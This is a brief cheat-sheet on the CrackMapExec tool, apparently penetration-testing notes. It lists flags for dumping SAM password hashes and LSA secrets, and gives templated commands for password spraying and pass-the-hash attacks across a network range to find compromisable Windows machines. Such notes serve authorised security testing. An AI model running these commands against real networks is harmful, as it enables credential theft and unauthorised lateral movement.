https://github.com/Porchetta-Industries/CrackMapExec
Resources
Flags
--samDump SAM hashes.
--lsaDump LSA Secrets.
Pass the Password
crackmapexec smb [TARGET_NETWORK_ADDRESS]/[TARGET_CIDR] -d [TARGET_DOMAIN] -u [mySamName] -p [myUserPassword]Pass the Password around the network to find pwnable machines.
Pass the Hash (NT)
crackmapexec smb [TARGET_NETWORK_ADDRESS]/[TARGET_CIDR] -u [mySamName] -H [myUserNTHASH] --local-authPass the Hash attack (NT Hash) around the network to find vulnerable machines.